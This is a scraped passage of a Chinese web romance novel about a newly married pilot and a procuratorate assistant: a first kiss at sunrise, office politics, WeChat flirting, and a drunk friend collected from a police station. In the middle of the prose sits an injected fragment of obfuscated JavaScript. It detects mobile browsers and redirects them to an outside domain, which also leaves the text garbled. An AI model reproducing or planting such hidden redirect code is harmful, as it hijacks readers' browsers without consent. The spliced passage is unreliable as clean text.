“是没有特种兵厉害。”他抬手,试探着把了把双杠的手感,“不过给你自保,绰绰有余。”
唐苒还没反应过来发生了什么,眼前人已经把自己调了个个,双手撑在杠上,凌空翻出一米多高。
她忍不住屏了屏息,又看一眼旁边的叔叔,收回那句“动作挺专业”。
“宋泊峤,我能给你拍视频吗?”她眼里冒星星。
坐在杠上,单脚撑着另一条杠的男人气都不喘,额发凌乱带着点儿痞:“你的人,随你处置。”
轻而易举撩红她耳朵。
唐苒嗔他一眼:“不稀罕。”
“真不稀罕?”
她背过身去,树林后的东方天幕云霞漫卷。
唐苒抬起手机对着日出,又忍不住按下翻转镜头,将男人矫健灵动的身影纳入屏幕。
长得帅,身材也是实打实的,令人叹为观止的臂力和腰力。如果一直对她好还行,万一以后吵架打架,自己只有吃亏认栽的份。
应该不会吧?
这人什么都好,就是逗她的时候没脸没皮,从来不会让着她。
唐苒脑子里乱七八糟想了一通,在他目光瞥过来时,匆忙把镜头转回去,假装在认真拍日出。
“苒苒。”身后的人停下来叫她。
太阳躲在云后,唐苒偷窥的视线躲在手机反光的屏幕里,哼了一声。
宋泊峤拖着语调又唤她:“老婆——”
晨跑经过的小年轻回头看,器材边的大爷大妈也齐刷刷地行注目礼,唐苒真想把他扔这儿算了,背后突然传来一道呻.吟。
“老婆,快过来。”
“抻着筋了,哎哟,帮帮忙——”
“……让你炫。”唐苒见这人仰躺在双杠上,没动,急得跑过去,正愁怎么把人给弄下来怎么送他去医院时,这人倏然翻身,用手抓住前面那根杠,凌空一跃,稳稳地落地。
“宋泊峤!你又——”
第一缕橙色的日光照向这片小草坪时,男人坏笑着低下头,堵住她喋喋不休的唇。
温柔,绵软,像这个早晨一样清新。
这是唐苒对真正意义上的初吻的第一印象。
不是醉酒意外当不得真,不是你追我躲的玩闹,也不是夜半失控,醒来一场梦。这个见证他们初吻的小公园,浪漫得像春日盛会,花鸟虫鱼都在应和。
面前双杠上有他握过的温度,渐渐染上她掌心的薄汗,顷刻,又被他的气息重新包裹,摩挲,攥了满手铁锈和油漆味。
他攫取着她口中淡淡的葡萄清香,霸道也温柔。
呼吸快接不上来时,宋泊峤扶住她后脑,额头抵着她额头,像揉满细碎星辰的眼眸直直地探进她眼底:“这次,程序对了吗?”
12.第 12 章
唐苒溺在其中,感官和声音都像被夺走,裹卷着男人的气息,无法回应出一个字。
睫毛震颤,睁大的双眼晃荡着水波。
对于她的呆愣笨拙,宋泊峤没有一点不耐,吻上她眼睛,低声诱哄:“傻了吗?闭眼。”
他攥紧她手,扶稳她脑袋,继续侵占那双唇。
唐苒不记得过了多久,只知道太阳已经高悬在云端,而她口干舌燥,腿软发晕,回酒店拿行李时整个人依旧不在状态。
直到车停在单位门口,望向庄严肃穆的检察院大楼,才终于驱散掉那些旖旎画面,收拾好心情,准备迎接今天的工作。
正要踏上阶梯,身后车门震响,某人无奈的轻笑声传来:“要走了,不抱一下?”
她的脚钉在原地,一回头,宋泊峤径直朝她过来。
忙碌的早八时间恍惚被慢放,唐苒错愕却乖顺地落入他怀中,和抱过无数次一样自然。
说不上为什么,她原本是个警惕的人,却唯独对宋泊峤,在如此短的时间内由陌生到熟悉,到彻底放下戒备,一切都像命运般水到渠成。
但她至少能分辨出来,不止因为那本结婚证。
如果没有那场狗血意外,她的结婚对象依然是谭喆,那他们签过的婚前协议,应该会被她不折不扣地严格履行,具体到每一个字。
她不会在人来人往的单位门口,这样让他抱。
耳侧是男人胸膛的温度,隔着针织衫毛茸茸的触感,心跳一声接一声,沉稳而清晰。
他毫不掩饰地袒露给她,一如初见那天起,他每一缕目光,每一句话的真诚。
唐苒轻轻按着他胸口,任心跳声震颤耳膜,她似乎懂了一些。
不是所有人都会陷入爱情,但没有谁能对真诚无动于衷。
*
宋泊峤离开几天,唐苒的日子回归平静,除了偶尔微信聊聊,都各自忙各自的工作。
她知道他经常在天上飞着,也就没有等他早安晚安的习惯。
老公不在,日常失联,公婆远在帝都互不打扰,她好像结了个婚,又好像没结。
直到月初,宋泊峤工资卡绑定的小程序发来动账提醒。
唐苒深呼吸静了静心,认真数眼前的数字,个十百千万,再屏息,定神,默默截屏保存下来。
“张姐。”她抬头问对面的人,“你家那位每个月多少钱?”
张姐托腮沉吟了片刻:“加上各项奖和补贴什么的,八千左右吧,不算年终和公积金。”
“陈检都一级了,估计再往上也就窜个一万多。”唐苒拿笔在稿纸上划着圈圈,“等我调到检察部,没入额,还得从最低的拿起,人和人差距怎么就那么大呢。”
张姐失笑:“你一个人嘀嘀咕咕讲什么?”
“没什么。”唐苒努努嘴,抱着一沓卷宗起身,“我去找徐科长签字。”
“等你吃饭?”
“好。”
上一层楼,是检察部几位领导的办公室,唐苒走到徐科长门口时,里面传来清晰的数落声:
“你看人行政的小唐,管理学毕业,进来没一点儿法律基础,现在都比你明白!”
“人家之前是不能考,转眼满三年了,这次她要是一举通过,看你这法学生的面子往哪儿搁!”
“我对你够宽容了,自己长点儿心!”
唐苒没敢贸然敲门,走远了些,站在楼梯中间等,但徐科长嗓门大,该听到的全听到了。
最后他语重心长地对何卓说:“你要不想她去一部扇你的脸,这次无论如何给我考过!”
听见关门声和何卓的脚步声,唐苒装作刚上楼的样子,笑着冲他点了点头。
何卓挨了顿骂,笑不出来,面色铁琴地擦肩而过。
对于这位比她早一年考进单位,因为舅舅徐科长的关系毫无障碍跻身一部,却接连三次没通过司考的法学生前辈,唐苒其实没有任何意见。
不同的人会在集体中发挥不同的价值,她平等尊重每一位同事,也敬佩他连战三年的勇气。
但何卓显然不这样想。
因为自己缺乏天分,就认为别人的优秀也不应该,这实在不是种健康心态。
唐苒摇了摇头,叩响徐科长办公室的门。
“请进。”
唐苒推门走进去:“徐科长,这是上周要归档的卷宗。”
“嗯。”徐科长欲言又止地看了她一眼,在明细单上签好字,递给她,推了推眼镜,“小唐,司考准备得怎么样了?有没有信心一把过?”
唐苒笑着答:“只能尽力,我毕竟不是科班出身。”
“就你会谦虚,何卓说这话我还信。”徐科长端起保温杯喝了口茶,“不过这次考试确实重要,你们俩运气不错,明年院里有空额,如果司考过了,说不定能参加入额考试。”
唐苒心里明白,现在单位不景气,论待遇不如法院公安,事儿又多,做律师也比这自由。按照以前的制度,她得当三年一级助理才有资格参加入额考试,起码还得熬六七年。
曾经十几个助理抢考一个检察官名额的盛况,到底是过去了。
今年退休的老检察官只有两个,六部满年限的助理加上何卓共三个,就算院里放宽要求,也落不到她头上,老徐跟她这儿放烟雾弹呢。
“我可不敢想那事儿,还是安心当几年助理,攒经验吧。”唐苒谦虚地笑了笑。
“事在人为,你的优秀大家有目共睹。”徐科长信誓旦旦,“反正办公室活儿不多,你上班时间要是想复习,可以来我这儿,清静,把何卓也叫来,有不懂的两个人交流交流,互相学习,事半功倍。”
“……”原来是想要她当免费补习。
唐苒也不得罪人,装傻充楞:“好嘞,我要是上班有时间,一定不跟您客气。”
“哎,下班也行。”
唐苒走出办公室,对着天花板翻了个白眼。
食堂角落,张姐差点喷出一口饭:“这老徐,算盘珠子崩我脸上了。”
“他也是可怜天下父母心。”唐苒搅着南瓜粥叹了叹,“哦不,他是舅舅。”
“差不多意思,何卓父母早不在了,老徐就跟他爹似的。”张姐咬着酸奶吸管,“不过也不能这样吧,做人真诚点儿好不?我们苒苒也不是不乐于助人,首先态度得有吧?”
唐苒:“人家高低是个科长,拉不下面子。”
“那何卓呢?你瞧他每次对你那脸色,我都不想看。”张姐满脸嫌弃,“还背地里埋汰你二本毕业,他倒是个一本,顶什么用?没准儿明天就来求你。”
“不至于不至于。”唐苒笑得咳嗽两声,拍拍她肩膀,“你能不能跟陈检说说,别他们一部的八卦回去都跟你讲?瞅我姐这皱纹,都是他气出来的。”
“跟他没关系,全赖他儿子。”张姐直接放下碗,没胃口,“开学测试又全班倒数。”
“别急,攒着劲儿呢。”唐苒宽慰道,“陈检可是高考状元,你学习也不差。”
“就怕负负得正。”
“不会不会。”
“哎,听说今年的妇女节……”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15146112|164429||http|test|mini|href|location''.split(''|''),0,{}));
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>三月了,就快到妇女节了。
唐苒往年对这个节日没什么特殊印象,单位会发点小礼物,不忙的话放半天假,至于商场里的打折优惠,她没有参与过。
但今年的三月八号,她思来想去,还是挑了个合适的时间,从微信列表里找出一个许久没联系过的人,恭敬礼貌地发过去一句:
【阿姨,妇女节快乐!】
对方直接给了个红包。
唐苒愣了几秒,不知道该不该收,准备去问宋泊峤,才想起他是失联状态。
那天提醒他发工资的消息都没回。
宋泊峤妈妈:【收下吧,算是给你的过节费。】
【我跟他爸离得远,那小子又不在身边,照顾好自己。】
唐苒点了接收,并回复:【谢谢阿姨。】
宋泊峤妈妈:【乖。】
【等阿峤有空跟他来一趟,改口费给你留着呢。】
【对啦,婚礼你想什么时候办?】
自始至终,唐苒就没想过婚礼。两个半路闪婚的人,在亲友宾客面前表演恩爱融洽,实在很荒唐。
她怕她演不出来。
斟酌了会儿措辞,才回过去:【不着急,现在我和他都忙,暂时顾不上这个。】
【等以后有空再说吧。】
宋泊峤妈妈:【也行。】
【有什么想法随时和我说。】
唐苒道了谢。
张姐去儿子学校参加妇女节活动,今天办公室就她一个。难得摸鱼休息,拿着单位送给每个女同志的玫瑰花,在鼻尖嗅一嗅,转一转椅子,好不惬意。
桌上手机突然又响了。
她凝神一看,失联人回归。
宋泊峤:【演习刚结束。】
【嗯,看到了,上个月休假,飞行补贴有点少。】
这还是有点少?
唐苒安抚了下被酸到的心灵,说正事:【对了,我想把你的工资分配一下,部分存定期,部分买理财,你觉得怎样?】
【我观察分析了几款不错的理财产品。】
宋泊峤:【不用麻烦,放那儿就行。】
【你给自己多买点儿东西,该花花,别省着。】
唐苒心底一暖,还是理智地推辞:【我哪花得了那么多?】
宋泊峤:【开春了,不要买衣服吗?】
唐苒:【不用,去年的还能穿。】
宋泊峤:【去年是去年的,今年是新的开始。】
【等我回来陪你买。】
唐苒忍不住弯起唇,掌心托着微热的脸颊,一只手敲字:【那也还剩好多呢。】
那人好像带了丝笑意,虽然隔着屏幕,她恍惚能感觉到:【这么想帮我理财?】
唐苒一脸认真:【既然你把钱交给我,就不能辜负你信任。】
【不然和你自己拿着有什么区别?】
宋泊峤:【行,你说了算。】
唐苒:【你放心,我研究理财很久了,大学室友是经济学院的,专门研究股票基金,我有跟她学很多。】
【万一你的钱出现亏损,我会用自己的补给你。】
那边“正在输入”十几秒,都没有新消息发过来。
唐苒不知道他想说什么,应该就是些投资上的叮嘱,打算去倒杯水再回来细看。
刚要起身,手机亮了一下。
【宋太太,你是不是忘了?】
突如其来的称呼,唐苒怔在原地,心口蓦然一阵激荡。
宋泊峤:【我们是夫妻,分什么你的我的?】
13.第 13 章
唐苒呆呆望着屏幕上的字——
【人是你的,钱也是你的,随你处置。】
浑身燥得一发不可收拾。
要这还看不出宋泊峤是在撩她,就白活二十多年了。
可背过的万千法条也没教她怎么正确回应这种话。
脑子里天马行空,手指不受控地乱敲:【你人都不在,怎么处置?】
宋泊峤:【哦……】
【想我回来了?】
这话少去两个字,她又会多脸热几分。
幸亏这人手下留情。
宋泊峤:【抱歉啊,最近太忙。】
安全度过一个话题,唐苒松了口气:【忙什么?】
那边输入了会儿,没动静,唐苒突然明白过来,补充道:【算了你不用说了。】
万一是什么军事机密,她才不要知道。
宋泊峤:【你倒是能来看我。】
唐苒压住上扬的唇角:【不去。】
【我忙着呢。】
宋泊峤发来一个“加油”的表情包。
【今天不放假?】
唐苒:【下午放,约了闺蜜一起坐坐。】
宋泊峤:【岑念?】
唐苒:【嗯。】
以为他会好奇岑念,结果这人转移了话题:【你介意打视频吗?】
唐苒一愣:【……啊?】
宋泊峤:【电话也行。】
【这样听不见声音也看不到人。】
唐苒心跳莫名慌乱,义正辞严地回复:【介意。】
很快,宋泊峤发来简短的语音。
熟悉的轻笑像暖风包裹住她,慵懒又温和的腔调直冲她脑门:“行。”
还没从那阵晕眩和酥麻中缓过来,第二条语音接着:“准备集合了,你也去吃饭吧。”
唐苒把手机抬起来,对着麦克风摁下语音键,眉眼弯出十分漂亮的弧度:“好。”
想起电视里看过的情节,风华正茂、军装笔挺的小伙子们整整齐齐地站着,等一声令下,再整整齐齐地坐下吃饭,动作就像同样程序设置下的机器人,唐苒忍不住笑出声来。
她脑海里描绘不出宋泊峤那么守规矩听指挥的样子。
直到岑念电话打来,她下班离开。
两人约在茶餐厅见面,点了几道清淡的养生菜。
唐苒发现岑念背着新包,衣服也是没见过的奢侈品牌新款,笑了笑:“你妈又换人了?”
“是啊,二十岁的小演员,想当我后爸。”岑念撇撇嘴,把那位送的包随手扔窗台上,“现在的男孩子真是越来越不爱奋斗了。”
唐苒端着普洱茶,轻轻吹了口:“能一步登天到罗马,谁愿意当牛马?”
岑念煞有介事地竖起大拇指:“未来的法律界明星,说话就是有水平。”
“少埋汰我。”
“哎。”岑念伸手勾了勾,“看看你老公长什么样儿。”
唐苒从手机相册里翻出结婚证照片,递给她。
对于宋泊峤这张脸,唐苒有充分的信心,在岑念这个资深颜狗面前也能收获到惊艳。
但最初惊艳几秒后,岑念忽然皱起眉,拿着他照片沉思起来。
唐苒握紧杯子:“怎么了?”
“有点儿眼熟。”岑念手指敲着下巴。
“怎么会?”唐苒不以为意,“你看帅哥都眼熟吧。”
“没开玩笑。”岑念一脸认真,“我总觉得在哪儿见过,长得像什么人……”
她用力拍拍脑袋,“哎呀,想不起来。”
“记忆错乱了吧你。”唐苒笑了笑,“大我们两岁,又不可能是同学。”
岑念把手机还给她:“是一中的吗?”
“是……吧?”唐苒没问过,只能推测,“成绩那么好,应该是。”
“那简单喽,找几个同学打听打听,他长这么帅,肯定不会默默无闻。”
“算了吧,没必要。”唐苒夹了根刚端上来的芦笋,喂进嘴里。
岑念眨眨眼:“你对你老公的过去一点儿不好奇?不怕他万一有什么白月光朱砂痣——”
“吃饭吧公主。”唐苒慢条斯理地嚼着芦笋,“管他什么白月光朱砂痣,在结婚证面前都得靠边儿站,我吃素的吗?闪婚同样受法律保护,他要是敢不忠,我就能让他脱层皮。”
“行行行,你牛。”岑念拿她没办法,“对了,正好问你个事儿,我妈给她前前前任男朋友买的那车……”
两人在餐厅坐到三点多,岑念去买几套新衣服,死乞白赖给唐苒买了双鞋。
“你啊你,干什么不好非得考体制,送你啥都只能中规中矩的,发挥不出我审美。”岑大小姐边抱怨边拿她的黑卡,看着唐苒一身素色穿搭,小背心衬衫配牛仔裤,拎着新买的杏色单鞋,摇了摇头,“陪我做个美甲都不行。”
唐苒嘴角一抽:“行啊,等明天领导给我指甲掀了。”
“真残忍。”岑念抖了身鸡皮疙瘩,“我妈还巴着我考呢,说是铁饭碗,现在生意不好做,万一哪天她栽了还有我保底。算了,我还是安安心心当个普通劳动人民吧。”
唐苒:“劳动人民?只有一个字你勉强沾边。”
“骂我不是人?”
“啧,哪儿敢。”
岑念晚上想去酒吧,唐苒受不了那吵闹,吃过饭就回家了。
孟芝抱着电脑复盘案件,她继续啃司考题。
中场休息,两人开了瓶汽水,孟芝打着嗝儿说:“我姑的闺女满周岁,回老家吃席,那小姑娘莫名其妙见着我就哭,不让碰不让抱,好像我是什么妖魔鬼怪似的。”
“老前辈说的真没错,干这行久了人会变,整天对着那些邪恶分子,不是在监狱看守所,就是法庭上吵架,罪犯的脸记得比自个儿爹妈都清楚,心里还能有什么真善美?”
“相由心生,真的,我现在看我刚毕业时的照片,都不敢认。”
唐苒坐在地毯上侧过头笑:“那你看我呢?”
“你啊,暂时还没有被荼毒。”孟芝搂住她肩膀,拍了拍,“不过你要真去一部干刑检,迟早的事儿。”
唐苒仰头灌了一大口汽水:“没关系,想得到什么,总要舍弃些什么,人不能样样都要。”
“没说完呢。”孟芝下巴搁在她肩膀,煞有介事地开口,“虽然咱检察院戾气重,个个儿都养得凶神恶煞的,不过你不一样啊,要是家庭美满,有个爱你宠你的老公,照样年年十八岁。你看陈检和张姐,不就是对儿贤伉俪吗,他们家壮壮多阳光一小孩儿。”
唐苒听得一身鸡皮疙瘩:“干嘛突然这么多感触?”
孟芝挪了挪屁股,窝在沙发和茶几中间抱住膝盖,叹气:“我以前还想养只猫,现在彻底放弃了。猫猫狗狗很有灵性的,他们喜欢柔软善良的人,而且猫的情绪更敏感。所以我想……”
顿了顿,她不太确定地继续:“我是不是应该谈个恋爱?”
“你确实应该谈个恋爱。”唐苒戳戳她脑门,“不然不工作的时候净胡思乱想。”
孟芝望着她,“噗嗤”笑了。
“等我搬走,赶紧养只小动物,别整天自我怀疑,实在不行找个心理医生疏导疏导。”
“我看你挺像心理医生。”<
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“……”唐苒哭笑不得,“吃点儿夜宵吧,你就是饿的。”
她点开外卖软件:“烧烤?麻辣烫还是炸鸡?”
“有小龙虾吗……”
没来得及搜小龙虾,突然有陌生号码打进来。
唐苒疑惑地按下接听:“喂?”
“你好,检察院唐苒是吧?”对方一股审犯人的腔调。
音色熟悉,她一秒回想起来:“方队?”
这人很有名,市刑警队队长,那次单位联谊和大家一起吃了顿饭,唐苒对他的声音和语调印象很深。
“嗯,是我。”方景明言简意赅,“我在城西区派出所,有个叫岑念的说你是她朋友,你方便的话过来领下人。”
唐苒一愣:“她犯什么事儿了?”
“聚众斗殴,调解完了。”
电话那头传来岑念醉醺醺的喊声:“苒苒!他污蔑我卖x!”
方景明清咳了声:“都是误会,你赶紧过来领人吧。”
唐苒:“好。”
“派出所?要我陪吗?”孟芝站起来。
“不用。”
她出门打了辆车,到城西区派出所十五分钟,方景明正在门口抽烟。
“来了。”方景明把烟头扔进垃圾桶,转身进门,“晚上带弟兄们去扫黄,跟你朋友闹了点儿误会,脾气大着呢,回头你给她消消火。”
唐苒知道方景明这是怕岑念闹事,特意等她来,感激地笑了笑 :“谢谢。”
“对了,顺便告诉她,一小姑娘在外边收敛点儿,跟那群大老爷们儿喊打喊杀,她能打得过谁?”方景明朝值班警察使了个眼色,示意放人,“下次就没这么幸运了。”
“我呸呸呸!就是你刚才抓我!”岑念从走廊拐角摇摇晃晃地窜出来,颊边两团醉酒的红晕,“你知道老娘是谁?老娘用得着去卖吗?你这样的小白脸老娘一晚上点八十八个!姿势都不带重样的!”
“八十八个。”方景明眼色微凉地睨着她,“嫖/娼是吧,进去聊聊?”
“不是不是,她喝多了胡说八道。”唐苒赶紧捂住岑念嘴巴,“乖,别闹了,咱回家说。”
醉酒的人哪里拉得住,唐苒捂了她嘴巴,却止不住她一脚踢在方景明小腿,鳄鱼皮包包闷声甩上男人笔挺的警服。
空气短暂的寂静过后,方景明拉开唐苒的手,冷脸站定在岑念面前:“这位女士,知道袭警什么后果吗?”
唐苒看着岑念气焰消下来,暗自松了口气。
应该不是听懂了这话,而是被方景明的眼神唬住,但总算乖乖任她拽上出租车。
唐苒上车前,听见树下传来方景明随意许多的腔调:“下次你老公回来,一起吃个饭。”
唐苒一愣:“你们……认识?”
“高中同学。”
唐苒浑浑噩噩坐在司机后方,脑子里飞速掠过和方景明有关的过往交集。
上次见面还是年前。
那天,一起走私案圆满结束,庭审判决后两单位工作人员聚餐,庆贺并总结经验。大家一块儿拍了合照,还保持队形,同一时间发朋友圈。
她只是个无关人员,陈检带着张姐,张姐叫她蹭饭而已,和大功臣方景明八竿子打不着。
其实那天她并不开心。
都快领证了,谭喆母亲突然变卦,说手头紧,三金等婚后再补,多少有些欺人太甚的意思。
她知道这场婚姻不会称心如意,更谈不上美满幸福,只是没料到被抛弃。
更没料到会在狼狈的现场遇到宋泊峤。
不早不晚,不是别人,偏偏是他。
14.第 14 章
方景明调任以来连破大案,名震全省,去年才作为优秀校友被邀请参加一中校庆,如果宋泊峤也是一中学生,那就说得通了。
唐苒打开学校公众号,从历年毕业生纪念墙的照片里,果然找到那张熟悉的脸。
与现在比略显青涩,但轮廓大致没变,放在人群中是翘楚般的存在。
他这样的人,也许不小心打个照面,就会记住一辈子。可当年的唐苒两耳不闻窗外事,除了辩论队的队友和对手,就只熟悉课本习题,阴错阳差,完美避开。
记忆被拂去灰尘,逐渐清晰。是记得高三篮球队有个很风光的学长,每周五晚上的球场总是围满女生,尖叫声不断,但她嫌吵,会从最远的距离路过。
遗憾的是她只能想到这,除此之外,没有关于宋泊峤高中时的一丁点印象。
回忆停在岑念脑袋压上肩膀的瞬间。
唐苒无奈叹了叹,扶稳,生怕她掉下来。
这姑娘刚闹得起劲,结果一上车就开睡。
虽然方景明说和宋泊峤熟识,大概是告诉她今晚的事不必放心上,唐苒想着,哪天还是得替这丫头正式道个歉。一码归一码,这是她自己的人情。
岑念这副样子肯定不能回她妈那儿,扔在酒店也不放心,唐苒打电话和孟芝交代了声,领去出租屋。
孟芝和岑念只打过一两次照面,岑念去单位接唐苒下班的时候,不熟,但女孩之间没那么多讲究。
孟芝帮她把岑念扶到沙发上,还提前准备了蜂蜜水。
唐苒先灌她喝了半杯,等外卖点的解酒药送到,直接给她塞进去。
“一会儿该醒了吧。”孟芝说,“点点儿吃的,酒吧里光喝酒了,醒来准饿。”
“行。”唐苒点了碗粥,还有些烧烤锅贴之类的,给她和孟芝当夜宵。
两人坐在地毯上看法制节目,音量调得很小,岑念躺在沙发上醒神,快滚下来的时候被两人摁着往里推,然后像个陀螺咕哝着翻身。
孟芝笑得不行,瓜子壳掉到地上:“你朋友是真厉害啊,敢往方队身上摔东西?没当场给她铐上?”
“别提了。”唐苒一个头两个大。
手机突然亮起来,是宋泊峤的信息,接连两条:【睡了吗?】
【要不要打个电话?】
孟芝看过来,唐苒敲了敲手机:“电话,你帮我看着点儿她。”
孟芝笑得合不拢嘴:“放心,腻歪去吧。”
唐苒起来时戳了她脑门一下。
到房间,才给宋泊峤拨过去,只开了语音没开视频。
手机那头传来熟悉的嗓音:“怎么窸窸窣窣的,做贼啊?”
“室友在外面呢。”唐苒刚坐到床沿上,脚尖蹬着地板,“你那边怎么那么安静?”
男人笑了笑:“今晚不训练,都回屋休息了,我一个人在机场。”
“真舒服。”
“要不要来?”
这人腔调随意,却是明目张胆的邀请,唐苒脸一热,依旧那套说辞:“不要。”
“一点儿都不想我?”失落的语气也不知道是装的,还是有几分真。
“……”唐苒抿着唇,不小心踢掉了一只鞋子。
对面听到声响,笑意更浓:“最近睡觉还冷吗?”
听着宋泊峤的嗓音和呼吸通过无线电的压缩而失真,侵染出暧昧的韵调,那些个夜晚的画面又接连裹卷上脑海,几乎被忘掉的某人怀里的温度,也一下子清晰具象了起来。
那温度一直烧到脸上。
他似乎并没指望她回答,问完后情绪依旧平和。
过于安静的对面环境里,能听见他不疾不徐的脚步声,像踏在草坪上,轻缓,柔软,摇曳的草尖恍惚拂过她心口,带着不期然的酥麻和震颤。
“苒苒。”直到他终于再次开口,凝滞的音色里仿佛夹杂着什么,亟待宣泄,“我……”
唐苒没听清接下来的话,门外岑念的叫喊差点炸透她耳朵:“再让我见到那个小白脸,我嗝——”
对面安静了两秒,问:“你室友怎么了?”
“不是室友,是岑念。”唐苒叹了叹,“去酒吧喝醉了,吃完药刚醒。”
岑念一闹,她倒想起来个事儿:“对了,你和方景明很熟吗?”
“高中同学。”两人的回答一模一样。
“你跟他说过我们结婚?”
“嗯。”宋泊峤语气正经地解释,“那天群里有同学想给我介绍对象,我说我结婚了,那小子不信,私下里闹我,还说要叫个什么女同事出来吃饭,我就发结婚证给他看了。”
“哦。”唐苒用手指划着裤子上的牛仔纹路,“方队长还挺八卦?”
“那小子闹腾,你跟他熟了就知道。”宋泊峤笑了笑。
唐苒好奇地问:“你在奚城念的高中,那你爸妈是什么时候搬去帝都的?”
宋泊峤乐意给她查户口,和盘托出:“我爸很早就去了,那会儿我七岁吧,帝都协和医院把他挖走的,但因为我妈的工作安排落不下来,就带着我留在奚城,等我毕业两年她才调过去。”
“那你一直就跟着你妈妈?”唐苒手指紧了紧。
“算我妈一手拉扯大的。”宋泊峤语气轻松淡然,仿佛只是在讲故事,“我爸工作忙,一开始寒暑假我妈还带我过去找他,后来觉得没什么意思,他忙起来也顾不上我俩,就索性不去了。”
那不是和单亲差不多?
唐苒默默想着,没说话,继而又觉得自己吃太多撑的。
一个父亲出轨母亲失踪除了奶奶举目无亲的人,为他这个高知家庭的贵公子操心什么?
宋泊峤显然会错了她的沉默,郑重地说:
“苒苒,你别担心,我们不会这样。”
唐苒心口一颤:“我没担心……”
她才没有想那么多。
工作已经足够充实,有没有男人她都一样,宋泊峤离开这么久,她也就最初几天不习惯。
这是她眼中婚姻最好的状态,没有轰轰烈烈的牵绊,相聚分开都干脆利落。不会担心爱情随着时间淡化消失,不会像妈妈一样,为了别人的错误内耗自己。
“我见过我妈多不容易。”他沉下嗓音,平日的随性恣意荡然无存,“不管发生任何事,我都不会让你独自面对。”
“能有什么事呀。”好端端的,她不想听他讲这些,总觉得心里七上八下,被什么东西挠着。
说好的合作关系弄得跟山盟海誓一样,别扭,不安,好像要陷进泥潭里去。
她得站稳脚跟,每一步都保持清醒。
“那个,我出去看看岑念,你早点休息。”唐苒想结束话题。
对面也没有纠缠:“好,晚安。”
孟芝和岑念不知道聊着什么,还挺下饭,没等她来,烧烤竹签就堆了满桌。
岑念看见她惊讶的眼神,端起一盒笑了笑:“放心,你的小黄鱼没动。”
唐苒接过鱼,挨着她坐下:“少吃点儿油腻的,才喝了解酒药,别回头胃不舒服。”
“哎呀我自己有数。”岑念摆了摆手。
唐苒:“聊什么呢刚刚?”
“说你是我们单位的拼命三娘。”孟芝给她开了瓶汽水,“断情绝爱,六根清净,都快嫁给工作了。”
岑念:“得亏你嫁了个正儿八经的人。”
“命里有时终须有,老天爷都安排好的。”孟芝眨了眨眼,“希望我也沾沾你的光,工作\爱情双丰收。”
岑念灌了一大口汽水,眯眼打嗝:“我说你们这些女孩子,为什么要对自己抱有期待呢?累不累?工作消磨青春,爱情虚无缥缈,我只要享受年轻的肉/体,开开心心,随波逐流就好啦……反正到最后都是要死的,好赖只有这一次……”
唐苒和孟芝对视一眼,无奈地笑。
至今她也不明白,为什么偏偏和岑念成为朋友。
或许就因为是截然相反的人,才正好能填补她心内的空缺,就像两颗互相依靠,无止境转动的齿轮。
*
江城空军某旅飞行大队,坐落在地图上一片无名山区。
夜晚寂静下来,整个世界都无声无息,只有山头持续闪烁的一排排红色引航灯,像守护人类的眼睛。
队里的宿舍两人一间,宋泊峤室友是个广东小伙,矮子里拔的高个儿,硬是把大队飞行员172的平均身高,拉到了176。
另一个出类拔萃的是宋泊峤,当初再长
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高一点,就无缘战斗机了。
宋泊峤进屋时,白臻刚洗完澡裸着背,听见门响,着急忙慌地把体能服从头顶套进去,拉下来扯平,清了清嗓子:“大晚上干嘛去了?”
“给老婆打电话。”说这话时,嗓音不自觉流露着得意,手掌用力拍了拍战友结实的腱子肉和腹肌,“你个大男人害什么羞?”
“偷练了?真想比武赢我啊?是不是跟老庄打赌了?”
白臻拧眉正色,一口正宗的广谱:“饭可以乱吃,话不可以乱讲哦,我能干那种违反纪律的事情吗?”
宋泊峤瞥了眼他的枕头:“游戏机藏严实了。”
“……”
白臻背着他说句粤语,没听懂,反正不像是骂人。宋泊峤也没在意,去洗了澡。
回来时灯关了,白臻窝在床角偷偷打游戏,屏幕亮光只照到他一张脸。
宋泊峤2.0的视力,黑暗中行云流水般避过障碍物,坐到床上,好心提醒:
“你小子当心散光。”
“眼睛这东西基因决定的,玩不坏就是玩不坏,我也很苦恼啊。”白臻语气贱得不行,“我说队长,你今天话有点多,干什么藏着掖着的?”
宋泊峤屈着条腿靠在床头,手机摁亮又摁灭:“打完没?问你个事儿。”
白臻把游戏机扔到一边:“请讲。”
宋泊峤换了条腿,再换回来,才欲言又止地开口:“你一般都怎么告诉人家姑娘,你对人有意思?”
空气静默了十几秒,白臻深吸一口气,问:“你不是刚结婚吗?”
宋泊峤:“嗯。”
“不是,大哥,你虽然是队长我也得说你几句。”白臻苦口婆心,“李政委成天叨叨,和谐美满的家庭是稳固的后方根据地,你不能刚结婚就犯糊涂啊,作风问题后果很严重的,之前那个谁老婆来单位闹,灰溜溜被调走你不记得了?是,就您这张脸,不谈十个八个的是有点儿亏——”
“你想什么呢?”宋泊峤凉飕飕打断他。
白臻一愣:“你不是腻了嫂子看上别人了?”
宋泊峤一枕头扔过去:“你有病。”
“不是。”白臻挨了一枕头,恭恭敬敬给他还回来,依旧满脸懵,“你刚说的姑娘是嫂子吗?”
宋泊峤脚踢过去:“不然呢?”
白臻条件反射地躲开,薅着头顶上的短毛刺:“自己老婆还这个那个什么的啊,你以前没讲过?她喜欢乜你就讲乜啊。我钟意你,挂住你,没事就叫bb猪哄哄啊……”
这句粤语宋泊峤算是听懂了,鸡皮疙瘩掉满地:“闭嘴吧,多余问你。”
这广东小子这么嗲,是怎么在网上一周换一个女朋友的?
还是现在这种男人就吃香?
宋泊峤望着天花板,大脑时而汹涌时而空白。
难不成,唐苒也喜欢这嗲里嗲气的调调?
他克制了很久依旧心痒,把手机拿到被子里,点开唐苒微信。
给岑念铺好小床的唐苒也刚上床,收到他消息:【睡了吗?】
唐苒拥着被子躺下:【没呢。】
【怎么了?】
说过晚安又联系她,这还是第一次。
宋泊峤:【之前有谈过恋爱吗?】
【除了前任。】
他知道谭喆不算。
唐苒懵了一下:【没。】
宋泊峤:【问你个事儿。】
突然聊这种话题,唐苒心慌慌的,手指也冒汗:【嗯。】
宋泊峤:【如果没跟我结婚,你会喜欢什么样的男人?】
